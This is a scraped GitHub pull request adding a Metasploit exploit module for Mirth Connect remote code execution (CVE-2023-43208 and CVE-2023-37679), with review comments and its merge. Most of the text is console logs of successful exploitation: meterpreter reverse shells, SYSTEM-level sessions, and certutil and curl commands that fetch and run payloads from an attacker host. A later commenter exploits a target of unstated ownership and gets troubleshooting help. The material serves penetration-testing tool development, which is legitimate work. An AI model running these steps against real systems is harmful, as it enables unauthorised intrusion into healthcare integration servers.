Add an exploit for Mirth Connect RCE (CVE-2023-43208 and CVE-2023-37679) #18755

zeroSteiner · 2024-01-26T22:16:14Z

Mirth Connect versions < 4.4.1 are vulnerable to CVE-2023-43208 and CVE-2023-37679 where the former is a patch bypass for the later. In both cases, an attacker can execute an OS command in the context of the target service using a specially crafted HTTP request and Java deserialization gadget.

Verification

List the steps needed to make sure this thing works

Follow the steps from the Setup section to create a test instance
Start msfconsole
Run: use exploit/multi/http/mirth_connect_cve_2023_43208
Set the RHOSTS, PAYLOAD and payload-related options
Run the module

Demo (Windows)

msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set TARGET Windows\ Command 
TARGET => Windows Command
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/windows/powershell/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > run

[*] Powershell command length: 4418
[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected target version: 4.4.0
[+] The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208.
[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)
[*] Sending stage (201798 bytes) to 192.168.159.10
[*] Meterpreter session 5 opened (192.168.159.128:4444 -> 192.168.159.10:60705) at 2024-01-26 17:10:20 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DC
OS              : Windows Server 2019 (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : MSFLAB
Logged On Users : 13
Meterpreter     : x64/windows
meterpreter > pwd
C:\Program Files\Mirth Connect
meterpreter >

Tested on Linux (versions 4.1.1, 4.3.0, and 4.4.0) and Windows (version 4.4.0).

modules/exploits/multi/http/mirth_connect_cve_2023_43208.rb

jheysel-r7

Great module @zeroSteiner. Thanks for the nice and easy target setup instructions. One minor question about the exploit methods.

Unix Command

msf6 > use mirth_connect_cve_2023_43208
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp

Matching Modules
================

   #  Name                                             Disclosure Date  Rank       Check  Description
   -  ----                                             ---------------  ----       -----  -----------
   0  exploit/multi/http/mirth_connect_cve_2023_43208  2023-10-25       excellent  Yes    Mirth Connect Deserialization RCE


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/mirth_connect_cve_2023_43208

[*] Using exploit/multi/http/mirth_connect_cve_2023_43208
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > run

[*] Started reverse TCP handler on 192.168.1.78:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208.
[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command)
[*] Sending stage (3045380 bytes) to 192.168.1.78
[*] Meterpreter session 1 opened (192.168.1.78:4444 -> 192.168.1.78:51774) at 2024-01-29 11:41:45 -0500

meterpreter > getuid
Server username: mirth
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Ubuntu 22.04 (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

Windows Command

msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set rhost 172.16.199.138
rhost => 172.16.199.138
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set rport 8449
rport => 8449
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set target 1
target => 1
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > run

[*] Started reverse TCP handler on 192.168.1.78:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208.
[*] Executing cmd/windows/http/x64/meterpreter/reverse_tcp (Windows Command)
[*] Sending stage (201798 bytes) to 192.168.1.78
[*] Meterpreter session 2 opened (192.168.1.78:4444 -> 192.168.1.78:54437) at 2024-01-29 13:16:01 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : MSFDEVICE
OS              : Windows 11 (10.0 Build 22621).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows

jheysel-r7 · 2024-01-29T16:17:19Z

modules/exploits/multi/http/mirth_connect_cve_2023_43208.rb

+            {
+              'Platform' => 'win',
+              'Arch' => ARCH_CMD,
+              'Payload' => { 'Space' => 8191, 'DisableNops' => true }


I was wondering where the 8191 was coming from and after reading the definition below it made me realize I've likely written a number of modules that were subject to this limitation but did not include it. Good to know.

Command prompt (Cmd. exe) command-line string limitation

In Command Prompt, the total length of the following command line can't contain more than 8191 characters

modules/exploits/multi/http/mirth_connect_cve_2023_43208.rb

jheysel-r7

Just one nitpick about updating the docs after the most recent change.

Retested, everything is working as expected - I think this is ready to land 👍

Windows Command

msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set verbose true
verbose => true
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > run

[*] Command to run on remote host: certutil -urlcache -f http://192.168.1.78:8080/SSCwCwV_75HP-noz9RKoGA %TEMP%\klTioAXB.exe & start /B %TEMP%\klTioAXB.exe
[*] Fetch Handler listening on 192.168.1.78:8080
[*] HTTP server started
[*] Adding resource /SSCwCwV_75HP-noz9RKoGA
[*] Started reverse TCP handler on 192.168.1.78:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected target version: 4.4.0
[+] The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208.
[*] Executing cmd/windows/http/x64/meterpreter/reverse_tcp (Windows Command)
[+] The target appears to have executed the payload.
[*] Client 192.168.1.78 requested /SSCwCwV_75HP-noz9RKoGA
[*] Sending payload to 192.168.1.78 (Microsoft-CryptoAPI/10.0)
[*] Client 192.168.1.78 requested /SSCwCwV_75HP-noz9RKoGA
[*] Sending payload to 192.168.1.78 (CertUtil URL Agent)
[*] Sending stage (201798 bytes) to 192.168.1.78
[*] Meterpreter session 5 opened (192.168.1.78:4444 -> 192.168.1.78:55931) at 2024-01-29 14:05:16 -0500

meterpreter > exit
[*] Shutting down session: 5

Unix Command

msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > run

[*] Command to run on remote host: curl -so ./oYSMVSXND http://192.168.1.78:8080/z3OF01M3YP0rzw1UQ9fhzA; chmod +x ./oYSMVSXND; ./oYSMVSXND &
[*] Fetch Handler listening on 192.168.1.78:8080
[*] HTTP server started
[*] Adding resource /z3OF01M3YP0rzw1UQ9fhzA
[*] Started reverse TCP handler on 192.168.1.78:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected target version: 4.4.0
[+] The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208.
[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command)
[+] The target appears to have executed the payload.
[*] Client 192.168.1.78 requested /z3OF01M3YP0rzw1UQ9fhzA
[*] Sending payload to 192.168.1.78 (curl/7.81.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.1.78
[*] Meterpreter session 6 opened (192.168.1.78:4444 -> 192.168.1.78:55963) at 2024-01-29 14:07:49 -0500

meterpreter > getuid
Server username: mirth
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Ubuntu 22.04 (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

jheysel-r7 · 2024-01-29T19:05:59Z

documentation/modules/exploit/multi/http/mirth_connect_cve_2023_43208.md

+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Detected target version: 4.1.1
+[+] The target appears to be vulnerable. Version 4.1.1 is affected by CVE-2023-37679.
+[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command)


Suggested change

[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command)

[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command)

[+] The target appears to have executed the payload.

jheysel-r7 · 2024-01-29T19:06:25Z

documentation/modules/exploit/multi/http/mirth_connect_cve_2023_43208.md

+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Detected target version: 4.4.0
+[+] The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208.
+[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)


Suggested change

[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)

[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)

[+] The target appears to have executed the payload.

jheysel-r7 · 2024-01-30T15:37:46Z

Release Notes

This PR adds an exploit module for Mirth Connect. Versions < 4.4.1 are vulnerable to CVE-2023-43208 and CVE-2023-37679 and where the former is a patch bypass for the later. In both cases, an attacker can execute an OS command in the context of the target service using a specially crafted HTTP request and Java deserialization gadget.

kabary · 2024-02-07T07:56:18Z

@zeroSteiner

I have tried the exploit on a target Linux system but am getting no session created: I have checked firewall rules and everything, any idea what I maybe doing wrong and why there is no session being created?

msf6 > use 0
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOST 10.100.2.33
RHOST => 10.100.2.33
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > check
[*] 10.100.2.33:8443 - The target appears to be vulnerable. Version 4.3.0 is affected by CVE-2023-37679.
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set verbose true
verbose => true
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > exploit

[*] Command to run on remote host: curl -so ./Hqjracjm http://10.100.2.35:8080/6Jx_wumOr_HkvxnKDq9pQA; chmod +x ./Hqjracjm; ./Hqjracjm &
[*] Fetch Handler listening on 10.100.2.35:8080
[*] HTTP server started
[*] Adding resource /6Jx_wumOr_HkvxnKDq9pQA
[*] Started reverse TCP handler on 10.100.2.35:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected target version: 4.3.0
[+] The target appears to be vulnerable. Version 4.3.0 is affected by CVE-2023-37679.
[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command)
[+] The target appears to have executed the payload.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) >

zeroSteiner · 2024-02-07T13:44:11Z

Try using a different FETCH_COMMAND or payload altogether.

kabary · 2024-02-07T14:33:42Z

@zeroSteiner It worked thanks!

Initial commit of NextGen Connect RCEs

530d58d

smcintyre-r7 added module docs rn-modules release notes for new or majorly enhanced modules labels Jan 26, 2024

Finish up the exploit

9e41825

Tested on Linux (versions 4.1.1, 4.3.0, and 4.4.0) and Windows (version 4.4.0).

zeroSteiner force-pushed the feat/mod/cve-2023-43208 branch from 9685a54 to 9e41825 Compare January 26, 2024 22:21

jvoisin reviewed Jan 28, 2024

View reviewed changes

Use the correct exploit and use sh instead of bash

8a793dd

jheysel-r7 self-assigned this Jan 29, 2024

Fingerprint the target as Mirth Connect first

b5de25a

jheysel-r7 reviewed Jan 29, 2024

View reviewed changes

Check the response when exploiting

577898d

zeroSteiner force-pushed the feat/mod/cve-2023-43208 branch from 4e97f1e to 577898d Compare January 29, 2024 19:39

jheysel-r7 merged commit 59df04b into rapid7:master Jan 30, 2024
34 checks passed

smcintyre-r7 mentioned this pull request Feb 13, 2024

Add an exploit for CVE-2023-43208 #18751

Closed

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Add an exploit for Mirth Connect RCE (CVE-2023-43208 and CVE-2023-37679) #18755

Add an exploit for Mirth Connect RCE (CVE-2023-43208 and CVE-2023-37679) #18755

zeroSteiner commented Jan 26, 2024

jheysel-r7 left a comment

jheysel-r7 Jan 29, 2024

jheysel-r7 left a comment

jheysel-r7 Jan 29, 2024

jheysel-r7 Jan 29, 2024

jheysel-r7 commented Jan 30, 2024

kabary commented Feb 7, 2024 •

edited

zeroSteiner commented Feb 7, 2024

kabary commented Feb 7, 2024

	[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command)
	[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command)
	[+] The target appears to have executed the payload.

	[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)
	[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)
	[+] The target appears to have executed the payload.

Add an exploit for Mirth Connect RCE (CVE-2023-43208 and CVE-2023-37679) #18755

Add an exploit for Mirth Connect RCE (CVE-2023-43208 and CVE-2023-37679) #18755

Conversation

zeroSteiner commented Jan 26, 2024

Verification

Demo (Windows)

jheysel-r7 left a comment

Choose a reason for hiding this comment

Unix Command

Windows Command

jheysel-r7 Jan 29, 2024

Choose a reason for hiding this comment

jheysel-r7 left a comment

Choose a reason for hiding this comment

Windows Command

Unix Command

jheysel-r7 Jan 29, 2024

Choose a reason for hiding this comment

jheysel-r7 Jan 29, 2024

Choose a reason for hiding this comment

jheysel-r7 commented Jan 30, 2024

Release Notes

kabary commented Feb 7, 2024 • edited

zeroSteiner commented Feb 7, 2024

kabary commented Feb 7, 2024

kabary commented Feb 7, 2024 •

edited